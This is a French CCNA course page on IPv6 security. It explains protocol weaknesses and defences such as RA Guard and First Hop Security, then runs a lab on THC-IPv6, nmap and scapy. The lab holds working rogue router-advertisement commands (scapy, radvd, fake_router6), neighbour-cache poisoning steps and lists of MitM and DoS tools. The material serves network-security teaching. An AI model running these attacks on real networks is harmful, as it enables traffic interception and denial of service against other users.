Objectifs de certification

CCNA 200-301

  • 1.8 Configurer et vérifier l’adressage et les préfixes IPv6

  • 1.9 Comparer les types d’adresses IPv6

    • 1.9.a Global unicast
    • 1.9.b Unique local
    • 1.9.c Link local
    • 1.9.d Anycast
    • 1.9.e Multicast
    • 1.9.f Modified EUI 64
  • 3.3 Configurer et vérifier le routage statique IPv4 et IPv6

    • 3.3.a Default route
    • 3.3.b Network route
    • 3.3.c Host route
    • 3.3.d Floating static

Introduction à la sécurité IPv6

Introduction à la sécurité IPv6

Introduction

  • IPv6 est la version d’IP normalisée en 1995-1998 (RFC 2460)
  • Principale motivation : un espace d’adressage étendu (128 bits c. 32 bits)
  • Réaffirme le principe d’une connectivité de bout en bout. Le NAT n’est pas une nécessité en IPv6.
  • Son déploiement est plutôt lent et laborieux. La limite est surtout culturelle, pas technique.
  • Ce retard permet d’adapter rapidement le protocole.

Les évolutions du protocole IP

  • Adressage étendu à 128 bits
  • L’en-tête IPv6 est simplifié et fixé à 40 octets.
  • Usage du multicast (en lieu et place du Broadcast)
  • Sous-protocole ND (RFC 4861) encapsulé dans ICMPv6
  • Plug-and-Play :
    • Autoconfiguration automatique sans état (SLAAC)
    • Adresse Lien local (FE80::/10) créée automatiquement sur chaque interface IPv6
    • Annonce du préfixe réseau dans des RA (Router Advertisment)
    • Mécanismes DAD et NUD
    • Alternatives pour configuration DHCPv6 Stateful et DHCPv6 Stateless

IPv6 = Protocole Internet (IP)

IPv6 est le Protocole Internet de nouvelle génération.

Grosso modo, la plupart des considérations de sécurité sont les mêmes en IPv6 qu’en IPv4 car ils fonctionnent selon les mêmes principes.

Il reste quelques spécificités.

Faiblesses similaires IPv6/IPv4

  • Usurpation d’adresse IP source triviale
  • Pas d’authentification ou de chiffrement par défaut, au niveau IP
  • Attaques par déni de service volumétriques (force brute)
  • Attaques contre les protocoles de transport ou contre les applications
  • Protocoles de résolution d’adresses sur le réseau local différents (ARP vs. NDP) mais posant des problèmes similaires
  • Protocoles de routage

Spécificités sécuritaires

On peut classer les spécificités sécuritaires d’IPv6 en deux catégories :

  • Les différences contingentes (celles qui sont circonstancielles à l’époque, à l’état du déploiement et de la connaissance du protocole, etc.)
  • Les différences protocolaires

Spécificités contingentes

Déployer IPv6 c’est déployer un second réseau = double de travail

On pourrait constater des différences entre les protocoles co-existants :

  • dans les méthodes de gestion incohérentes (règles de filtrage, politiques de sécurité, etc.)
  • dans les implémentations logicielles (p. ex. dans les firewalls) limitées, incomplètes, boguées, pas testées
  • La méconnaissance des admin mais aussi des attaquants
  • Techniques de transition complexes et présentant des nouveaux risques

Qui attaque IPv6 ?

Qui attaque IPv6 ? Quasiment personne, car il n’est quasiment pas encore largement déployé.

Il serait donc plus sécurisé ? ;-)

Ces différences contingentes vont disparaître avec le temps.

On prédit encore 5 à 10 ans de popularisation d’IPv6 et la disparition d’IPv4 d’ici 15 ans (?)

Spécificités protocolaires

Les spécificités protocolaires vont subsister avec le temps.

  • RAcailles (Rogue RA)
  • Vie privée et adresses MAC
  • Analyse des en-têtes
  • Enumération d’adresses
  • Plus de NAT, moins de sécurité
  • et d’autres …

Router Advertisment (RA)

IPv6 propose d’emblée un mécanisme d’annonce (sans état) du préfixe réseau dans des RA advertisments.

Le scénario le plus probable est le suivant :

un routeur envoie de RA régulièrement ou répond à des Router Solicitation (RS). Les noeuds IPv6 génèrent automatiquement leur identifiant d’interface

RAcailles (Rogue RA)

Les RA (annonces des routeurs), comme DHCP, ne sont pas sécurisées/authentifiées.

Comme avec DHCP, une machine peut jouer au routeur et émettre des RAcailles. Problème décrit dans le RFC 6104.

Comme avec DHCP, la meilleure protection semble être du filtrage par le commutateur (RA Guard, RFC 6105) : services appelés IPv6 First Hop Security chez Cisco, par exemple.

Analyse des en-têtes

Des tas de logiciels de sécurité ont besoin de “sauter” l’en-tête du paquet, pour aller au contenu. En IPv4, c’est pénible (en-tête de taille variable) mais connu.

En IPv6, nombre quelconque d’en-têtes et, jusqu’à récemment, pas de gabarit commun ! impossible à analyser. Ajouter un seul en-tête suffit parfois pour échapper à la détection.

Depuis le RFC 6564, un algorithme fiable est possible.

Les commentaires dans le code source de Wireshark ou Net : :Pcap ne sont pas flatteurs pour IPv6. . . Attention aussi à la fragmentation (RFCs en cours pour insister sur le risque).

Enumération d’adresses

En IPv4, balayer toutes les adresses est réaliste (un /16 en moins de 2 h, à 10 adr./s). Cela permet de trouver des machines discrètes.

En IPv6, une telle énumération naïve n’est pas envisageable (un /64 prendrait des milliards d’années).

Cela ne veut pas dire qu’on ne peut pas être trouvé : adresses prévisibles (…::1), connexions sortantes, attaques locales, attaques on-link, off-link, etc. Le RFC 5157 donne plein d’idées.

Plus de NAT

En IPv4, le NAT est quasiment indispensable vu la rareté des adresses. En transformant les champs d’adresses il rompt le principe de connectivité de bout en bout, duplique les réseaux en les cachant, duplique la gestion, bref, c’est une véritable plaie.

En IPv6, le NAT n’est plus nécessaire, mais autorisé. On pourrait le rencontrer pour connecter IPv6 à IPv4 (NAT64) voire même dans un usage similaire NAT66.

Plus de NAT, moins de sécurité ?

Le NAT n’a jamais été pas une mesure de sécurité. C’est valable en IPv6 comme en IPv4.

On ne se passera pas d’éléments de filtrage et de surveillance !

Et d’autres

  • IPV6_V6ONLY dans les applications
  • Attaque Neighbor cache
  • Filtrage d’ICMPv6 comme on filtre ICMP
  • Attaques sur les tunnels

Outils d’audit / outils d’attaque

Mesures de sécurité

  • Ne pas déployer IPv6 n’est pas une mesure de sécurité.
  • Respect des politiques de sécurité.
  • Sécurité de bas niveau (RA_guard, SEND)
  • Firewalls, IDS, Surveillance (Netfilter, ndpmon, ramond, rafixd)
  • Le plus important : la connaissance.

Bibliographie

9. Manipulation de paquets IPv6

Objectifs :

Manipulation de paquets avec des outils tels que :

Attaques, faiblesses, outils

  • Différentes types attaques : Reconnaissance, MitM, DoS, spoofing
  • Différentes portées : Routage extérieur, routage intérieur, LAN, Internet,
  • Différentes faibless protocolaires : SLAAC, ICMPv6, ND, NS, NA, RA, DNS, DHCPv6.

Installation des outils

THC-IPv6

  • 3.2 : dernière version
  • 2.7 : documentée ici
  • 2.5-3 : paquet debian8

Installation de THC-IPv6 version 2.7

$ sudo apt-get install build-essential libpcap-dev libssl-dev
$ wget https://www.thc.org/download.php?t=r&f=thc-ipv6-2.7.tar.gz
$ tar xvfz thc-ipv6-2.7.tar.gz
$ cd thc-ipv6-2.7/
$ make
$ sudo make install

nmap, scapy, tcpdump

Installation nmap, scapy, tcpdump

apt-get install python-scapy nmap tcpdump

Capture de paquets

tcpdump -w IPv6.pcap -i eth0 -vv ip6

Reconnaissance

  • nmap -6 : scans de ports
  • alive6 : Montre les adresses présentes sur le segment
  • passive_discovey6 : Sniff passif qui détecte toute adresse IP. Se combine avec parasite6 dans un environnment commuté
  • trace6 : Traceroute rapide avec résolution DNS et détection de tunnel (changement de MTU).

nmap -6

nmap -6 -v -sT fe80::1

Starting Nmap 6.00 ( http://nmap.org ) at 2013-12-10 21:42 CET
Initiating ND Ping Scan at 21:42
Scanning fe80::1 [1 port]
Completed ND Ping Scan at 21:42, 0.04s elapsed (1 total hosts)
Initiating System DNS resolution of 1 host. at 21:42
Completed System DNS resolution of 1 host. at 21:42, 0.34s elapsed
Initiating Connect Scan at 21:42
Scanning fe80::1 [1000 ports]
Strange error from connect (22):Invalid argument
Completed Connect Scan at 21:42, 0.01s elapsed (1000 total ports)
Nmap scan report for fe80::1
Host is up (0.0015s latency).
All 1000 scanned ports on fe80::1 are filtered
MAC Address: 00:0C:CE:D9:23:00 (Cisco Systems)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
           Raw packets sent: 1 (72B) | Rcvd: 1 (72B)

alive6

alive6 eth0
Alive: 2001:470:cbf7:1ab:7ec3:a1ff:fe89:b96f [ICMP parameter problem]
Alive: 2001:470:cbf7:1ab:ba27:ebff:fe59:70f3 [ICMP echo-reply]
Alive: 2001:470:cbf7:1ab::1 [ICMP echo-reply]
Scanned 1 address and found 3 systems alive

http://www.cloudshark.org/captures/bed61f75bde3

passive_discovery6

passive_discovery6 eth0
Started IPv6 passive system detection (Press Control-C to end) ...
Detected: 2001:470:cbf7:1ab:829:6ff7:4b6a:2284
Detected: fe80::1
Detected: 2001:470:20::2
Detected: 2a00:1450:4007:803::1010

trace6

trace6 -dt eth0 cisco.goffinet.org
Trace6 for cisco.goffinet.org (2001:6f8:202:4db::2) with starting MTU 1500:
  1: 2001:470:cbf7:1ab::1 () - new MTU 1480 - 6in4 tunnel endpoint
  2: 2001:470:1f12:d02::1 (goffinet-2.tunnel.tserv10.par1.ipv6.he.net)
  3: 2001:470:0:7b::1 (ge2-3.core1.par1.he.net)
  4: 2001:7f8:54::149 (easynet.franceix.net)
  5: 2001:6f8:1:1:87:86:76:19 ()
  6: 2001:6f8:1:2:87:86:71:165 ()
  7: 2001:6f8:200:1003::10 (bebru01.sixxs.net) - new MTU 1280
  8: 2001:6f8:202:4db::1 (gw-1244.bru-01.be.sixxs.net)
  9: 2001:6f8:202:4db::2 (cl-1244.bru-01.be.sixxs.net)  [ping reply received]

Autres outils de reconnaissance

Alive Scanning:

  • Alive scanning techniques: alive6
  • ICMPv6 Inverse Lookup: inverse_lookup6
  • ICMPv6 Node Query: node_query6

DNS enumeration:

  • Brute: dnsdict6
  • Reverse: dnsrevenum6

DNSSEC: dnssecwalk

Local Discovery:

  • NS: detect-new-ip6
  • Sniff: passive_discovery6
  • Router : dump_router6
  • Tracerouter: trace6

Helper tools: address6

Attaques MitM

  • ICMPv6 Redirects: redir6, redirsniff6
  • NDP: parasite6, fake_advertise6
  • RA: fake_router6, fake_router26
  • DHCPv6: fake_dhcps6
  • DNS: fake_dns6d
  • Mobility: fake_mipv6

Attaques DoS

  • flood_advertise6
  • flood_dhcpc6
  • flood_mld6
  • flood_mld26
  • flood_mldrouter6
  • flood_redirect6
  • flood_router6
  • flood_router26
  • flood_solicitate6
  • denial6
  • dos-new-ip6
  • exploit6
  • fake_advertise6
  • kill_router6
  • ndpexhaust6
  • ndpexhaust26
  • rsmurf6
  • sendpees6
  • sendpeesmp6
  • smurf6
  • thcsyn6
  • toobigsniff6: send ICMPv6 toobig messages for sniffed traffic
  • alive2map.sh : script to create a network map (graphviz->jpg) from a list of alive hosts

Empoisonnement de cache ND

Empoisonnement de cache de voisinage avec fake_advertise6. Lancer la capture. Vérifier le cache avant et après. parasite6 commute le trafic.

Empoisonnement de cache ND

Rogue RA scapy

Assez trivial, en scapy; THC-IPv6 est plus simple.

scapy
Welcome to Scapy (2.2.0)
>>> q = IPv6()/ICMPv6ND_RA()/ICMPv6NDOptPrefixInfo(prefix='2001:db8:bad:bad::', prefixlen=64)/ICMPv6NDOptSrcLLAddr(lladdr='00:0c:29:b7:8e:eb')
>>> send(q)

Rogue RA RADVD

apt-get install radvd

Dans /etc/radvd.conf :

interface eth0
{
AdvSendAdvert on;
AdvLinkMTU 1280;
prefix 2001:6f8:14d6:1::/64
{
AdvOnLink on;
AdvAutonomous on;
#enables clients to autoconf
};
RDNSS 2001:6f8:14d6:1::1
{
AdvRDNSSPreference 8;
AdvRDNSSLifetime 3600;
};
};
radvd -C /etc/radvd.conf

fake_router6

En trois étapes :

    1. Activation du routage
sysctl -w net.ipv6.conf.all.forwarding=1
    1. Route par défaut
ip route add default via fe80::1 dev eth0
    1. Empoisonnement par RA
fake_router6 eth0 2001:470:7B6D:bad::/64

Vérifier la table de routage et de voisinage avant et après l’attaque.

Capturer les paquets entre la victime et la passerelle.

On peut être plus précis avec fake_router26.

Attaque DAD

A titre d’exemple, dos-new-ipv6 répond à toutes les tentatives DAD de telle sorte que plus aucune nouvelle interface ne puisse monter une adresse IPv6. Efficace ?

L’attaque réussit sur des interfaces qui utilisent la méthode de construction de l’identifiant d’interface MAC-EUI64. Sur un Windows 8.1 qui utilise une méthode de construction pseudo-aléatoire garde la troisième adresse tentée.

Epreuve sur des interfaces :

  • Cisco IOS
  • Linux Debian
  • Ubuntu Desktop
  • Windows 10
  • Windows 2016 Server

ndpmon : surveillance L2

Installation de ndpmon :

http://ndpmon.sourceforge.net/index.php?n=Doc.Installation

Configuration :

http://ndpmon.sourceforge.net/index.php?n=Doc.Configuration

First Hop Security

IPv6 First Hop Security

Selon le document Cisco Implementing First Hop Security :

  • IPv6 First-Hop Security Binding Table
  • IPv6 Device Tracking
  • IPv6 Port-Based Access List Support
  • IPv6 Global Policies
  • IPv6 RA Guard
  • IPv6 ND Inspection
  • Secure Neighbor Discovery in IPv6
  • IPv6 Neighbor Discovery Trust Models and Threats
  • SeND Protocol
  • SeND Deployment Models
  • Single CA Model